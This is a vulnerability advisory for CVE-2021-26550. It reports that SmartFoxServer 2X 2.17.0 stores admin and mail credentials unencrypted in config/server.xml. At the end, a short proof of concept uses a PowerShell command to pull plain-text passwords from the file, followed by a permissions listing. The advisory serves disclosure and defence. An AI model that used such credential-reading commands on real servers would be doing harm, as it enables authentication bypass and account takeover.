SmartFoxServer 2X 2.17.0 Credential Disclosure

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SmartFoxServer 2X 2.17.0 Credentials Disclosure  
  
  
Vendor: gotoAndPlay()  
Product web page: https://www.smartfoxserver.com  
Affected version: Server: 2.17.0  
Remote Admin: 3.2.6  
SmartFoxServer 2X, Pro, Basic  
  
Summary: SmartFoxServer (SFS) is a comprehensive SDK for  
rapidly developing multiplayer games and applications  
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal  
Windows Platform, Android, Java, C++ and more. SmartFoxServer  
comes with a rich set of features, an impressive  
documentation set, tens of examples with their source,  
powerful administration tools and a very active support  
forum. Born in 2004, and evolving continuously since  
then, today SmartFoxServer is the leading middleware to  
create large scale multiplayer games, MMOs and virtual  
communities. Thanks to its simplicity of use, versatility  
and performance, it currently powers hundreds of projects  
all over the world, from small chats and turn-based games  
to massive virtual worlds and realtime games.  
  
Desc: The application stores sensitive information in an  
unencrypted XML file called /config/server.xml. A local  
attacker that has access to the current user session can  
successfully disclose plain-text credentials that can be  
used to bypass authentication to the affected server.  
  
Tested on: Windows (all) 64bit installer  
Linux/Unix 64bit installer  
MacOS (10.8+) 64bit installer  
Java 1.8.0_281  
Python 3.9.1  
Python 2.7.14  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2021-5627  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5627.php  
  
CVE ID: CVE-2021-26550  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26550  
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2021-26550  
  
CWE ID: CWE-312  
CWE URL: https://cwe.mitre.org/data/definitions/312.html  
  
  
29.01.2021  
  
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PS C:\Users\t00t\SmartFoxServer_2X\SFS2X\config> Get-Content server.xml | Select-String -Pattern passw -Context 1,0  
  
<login>sfsadmin</login>  
> <password>Waddup</password>  
<login>testingus</login>  
> <password>123456</password>  
<mailUser>username</mailUser>  
> <mailPass>password</mailPass>  
  
  
C:\Users\t00t\SmartFoxServer_2X\SFS2X\config>icacls server.xml  
server.xml NT AUTHORITY\SYSTEM:(I)(F)  
BUILTIN\Administrators:(I)(F)  
LAB42\t00t:(I)(F)  
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